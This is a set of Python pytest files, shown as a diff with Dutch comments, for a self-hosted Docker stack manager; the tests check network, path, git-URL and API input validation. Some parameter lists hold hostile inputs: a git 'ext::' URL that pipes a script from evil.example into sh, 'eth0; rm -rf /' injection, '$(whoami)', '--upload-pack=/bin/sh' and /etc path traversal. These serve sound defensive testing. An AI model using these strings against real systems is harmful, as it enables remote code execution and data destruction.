assert doc["services"]["solo"]["networks"] == {"lan": {"ipv4_address": "10.0.0.2"}}
@pytest.mark.parametrize("tekst,fout", [
("dit: [is geen: geldige yaml", "geldige YAML"),
("version: '3'\n", "geen services"),
("- een\n- lijst\n", "mapping"),
])
def test_foutmeldingen(tekst, fout):
with pytest.raises(ct.TransformError) as e:
ct.to_dedicated_ip(tekst, "lan", "10.0.0.1")
assert fout in str(e.value)
def test_onbekende_service_geeft_fout():
with pytest.raises(ct.TransformError):
ct.to_dedicated_ip(BASIS, "lan", "10.0.0.1", only_service="bestaat-niet")
def test_published_ports():
assert ct.published_ports(BASIS) == ["8222:80"]
assert ct.published_ports("services:\n a:\n image: x\n") == []

77
tests/test_networks.py Normal file
View file

@ -0,0 +1,77 @@
"""Validatie en IP-toewijzing voor macvlan/ipvlan-netwerken."""
import sys
from pathlib import Path
import pytest
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import networks
GELDIG = {"name": "lan", "driver": "macvlan", "parent": "eth0",
"subnet": "192.168.1.0/24", "gateway": "192.168.1.1",
"ip_range": "192.168.1.240/28"}
def test_geldige_definitie():
assert networks.validate(GELDIG) == ""
@pytest.mark.parametrize("wijziging,fragment", [
({"name": "../boos"}, "netwerknaam"),
({"name": ""}, "netwerknaam"),
({"driver": "bridge"}, "macvlan"),
({"parent": "eth0; rm -rf /"}, "host-interface"),
({"subnet": "geen-subnet"}, "subnet"),
({"gateway": "10.9.9.1"}, "gateway ligt buiten"),
({"gateway": "nogal-fout"}, "gateway-adres"),
({"ip_range": "10.9.9.0/24"}, "range ligt buiten"),
({"ip_range": "onzin"}, "IP-range"),
])
def test_ongeldige_definities(wijziging, fragment):
net = {**GELDIG, **wijziging}
assert fragment in networks.validate(net)
def test_next_free_ip_respecteert_range_en_gateway(monkeypatch):
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
# .240/28 loopt van .240 t/m .255; .240 is het netwerkadres, dus .241 eerst.
assert networks.next_free_ip(GELDIG) == "192.168.1.241"
def test_next_free_ip_slaat_bezette_adressen_over(monkeypatch):
monkeypatch.setattr(networks, "used_ips",
lambda naam: {"192.168.1.241", "192.168.1.242"})
assert networks.next_free_ip(GELDIG) == "192.168.1.243"
def test_next_free_ip_houdt_rekening_met_reserveringen(monkeypatch):
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
assert networks.next_free_ip(GELDIG, {"192.168.1.241"}) == "192.168.1.242"
def test_next_free_ip_zonder_range_gebruikt_subnet(monkeypatch):
monkeypatch.setattr(networks, "used_ips", lambda naam: set())
net = {**GELDIG, "ip_range": ""}
assert networks.next_free_ip(net) == "192.168.1.2" # .1 is de gateway
def test_next_free_ip_leeg_als_alles_bezet(monkeypatch):
bezet = {f"192.168.1.{i}" for i in range(240, 256)}
monkeypatch.setattr(networks, "used_ips", lambda naam: bezet)
assert networks.next_free_ip(GELDIG) == ""
@pytest.mark.parametrize("ip,verwacht", [
("192.168.1.240", True),
("192.168.2.1", False),
("geen-ip", False),
])
def test_ip_in_network(ip, verwacht):
assert networks.ip_in_network(ip, GELDIG) is verwacht
def test_remove_weigert_ongeldige_naam():
ok, msg = networks.remove("../etc")
assert ok is False
assert "netwerknaam" in msg

75
tests/test_paths.py Normal file
View file

@ -0,0 +1,75 @@
"""Padvalidatie: geen enkele door de gebruiker aangeleverde naam mag buiten
LIBRARY_DIR of de git-cache kunnen wijzen."""
import pytest
from conftest import login
@pytest.mark.parametrize("naam", [
"vaultwarden", "app-1", "mijn_stack", "a.b-c", "X9",
])
def test_geldige_namen(env, naam):
assert env["core"].safe_name(naam) == naam
@pytest.mark.parametrize("naam", [
"", "..", ".", "../etc", "a/b", "/absoluut", "a\\b", "-begint-met-streepje",
"met spatie", "nul\x00byte", "x" * 65, "a$b", "$(whoami)",
])
def test_ongeldige_namen(env, naam):
assert env["core"].safe_name(naam) is None
def test_install_weigert_traversal_in_instance(client, env):
csrf = login(client)
r = client.post("/api/store/install",
json={"stack": "vaultwarden", "repo_id": "server-up",
"instance": "../../ontsnapt"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert not (env["tmp"] / "ontsnapt").exists()
def test_install_weigert_traversal_in_stack(client):
csrf = login(client)
r = client.post("/api/store/install",
json={"stack": "../../../etc", "repo_id": "server-up",
"instance": "test"},
headers={"X-CSRF-Token": csrf})
assert r.get_json()["ok"] is False
def test_preview_weigert_traversal(client):
csrf = login(client)
r = client.post("/api/store/preview",
json={"stack": "../..", "repo_id": "server-up"},
headers={"X-CSRF-Token": csrf})
assert r.get_json()["ok"] is False
@pytest.mark.parametrize("route", [
"/api/stacks/{}/env", "/api/stacks/{}/compose", "/api/stacks/{}/logs",
])
def test_stackroutes_weigeren_ongeldige_naam(client, route):
login(client)
r = client.get(route.format(".."))
assert r.status_code == 400
def test_stackactie_weigert_ongeldige_naam(client):
csrf = login(client)
r = client.post("/api/stacks/../start", headers={"X-CSRF-Token": csrf})
# Werkzeug normaliseert '..' weg; wat er ook overblijft mag nooit 2xx zijn.
assert r.status_code >= 400
def test_lege_stacknaam_raakt_de_library_zelf_niet(client, env):
"""`lib / ""` resolvet naar de library zelf — verwijderen zou alles wissen."""
lib, d = _stack_dir(env, "")
assert d is None
def _stack_dir(env, naam):
import app as app_module
with app_module.app.test_request_context():
return app_module._stack_dir(naam)

82
tests/test_repo_urls.py Normal file
View file

@ -0,0 +1,82 @@
"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]

82
tests/test_stack_api.py Normal file
View file

@ -0,0 +1,82 @@
"""Routes rond stacks: containerbeheer en de netwerkkeuze bij installeren."""
from conftest import login
def test_containers_van_onbekende_stack(client):
login(client)
r = client.get("/api/stacks/bestaatniet/containers")
assert r.status_code == 404
def test_containeractie_alleen_binnen_eigen_stack(client):
"""De containernaam wordt getoetst aan compose_ps van díé stack, zodat deze
route nooit een willekeurige container op de host kan raken."""
csrf = login(client)
r = client.post("/api/stacks/mijnstack/containers/traefik/stop",
headers={"X-CSRF-Token": csrf})
assert r.status_code == 404
assert "hoort niet bij deze stack" in r.get_json()["msg"]
def test_onbekende_containeractie(client):
csrf = login(client)
r = client.post("/api/stacks/mijnstack/containers/web/verwijder",
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_containerlogs_alleen_binnen_eigen_stack(client):
login(client)
r = client.get("/api/stacks/mijnstack/containers/vreemde/logs")
assert r.status_code == 404
def test_install_weigert_onbekend_netwerk(client):
csrf = login(client)
r = client.post("/api/store/install",
json={"stack": "vaultwarden", "repo_id": "server-up",
"instance": "vw", "network": "bestaatniet"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert "niet geconfigureerd" in r.get_json()["msg"]
def test_install_weigert_ip_buiten_subnet(client, env):
csrf = login(client)
env["core"].patch({"NETWORKS": [{
"name": "lan", "driver": "macvlan", "parent": "eth0",
"subnet": "192.168.1.0/24", "gateway": "192.168.1.1"}]})
r = client.post("/api/store/install",
json={"stack": "vaultwarden", "repo_id": "server-up",
"instance": "vw", "network": "lan", "ip": "10.9.9.9"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert "buiten het subnet" in r.get_json()["msg"]
def test_netwerk_toevoegen_valideert(client):
csrf = login(client)
r = client.post("/api/networks",
json={"name": "lan", "driver": "macvlan",
"parent": "eth0; id", "subnet": "192.168.1.0/24"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_netwerk_verwijderen_onbekend(client):
csrf = login(client)
r = client.delete("/api/networks/bestaatniet", headers={"X-CSRF-Token": csrf})
assert r.status_code == 404
def test_gereserveerde_ips_worden_gelezen_uit_stacks(client, env):
"""Een geïnstalleerde stack houdt zijn adres, ook als hij gestopt is."""
import json
login(client)
stack = env["lib"] / "vaultwarden"
stack.mkdir()
(stack / ".serverup.json").write_text(json.dumps({"ip": "192.168.1.241"}))
import app as app_module
with app_module.app.test_request_context():
assert "192.168.1.241" in app_module._reserved_ips()
assert "192.168.1.241" not in app_module._reserved_ips(exclude_stack="vaultwarden")

40
tests/test_updater.py Normal file
View file

@ -0,0 +1,40 @@
"""Semver-vergelijking van de update-check."""
import sys
from pathlib import Path
import pytest
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import updater
@pytest.mark.parametrize("lager,hoger", [
("0.4.6", "0.4.60"), # tweecijferig patchnummer (zie CHANGELOG v0.4.60)
("0.4.60", "0.4.61"),
("0.4.9", "0.5.0"),
("1.0.0-beta1", "1.0.0"), # release wint van pre-release
("1.0.0-beta1", "1.0.0-beta2"),
("0.9.9", "1.0.0"),
])
def test_versievolgorde(lager, hoger):
assert updater._parse(lager) < updater._parse(hoger)
def test_v_prefix_maakt_niet_uit():
assert updater._parse("v1.2.3") == updater._parse("1.2.3")
@pytest.mark.parametrize("waarde", ["", "geen-versie", "1.2", None])
def test_onparseerbare_versies(waarde):
assert updater._parse(waarde) is None
def test_check_zonder_url_is_uitgeschakeld(monkeypatch, tmp_path):
monkeypatch.setenv("SU_CONFIG", str(tmp_path / "config.json"))
import core as cfg
cfg._path = tmp_path / "config.json"
cfg.patch({"UPDATE_API_URL": ""})
res = updater.check("0.4.60")
assert res["enabled"] is False
assert res["update_available"] is False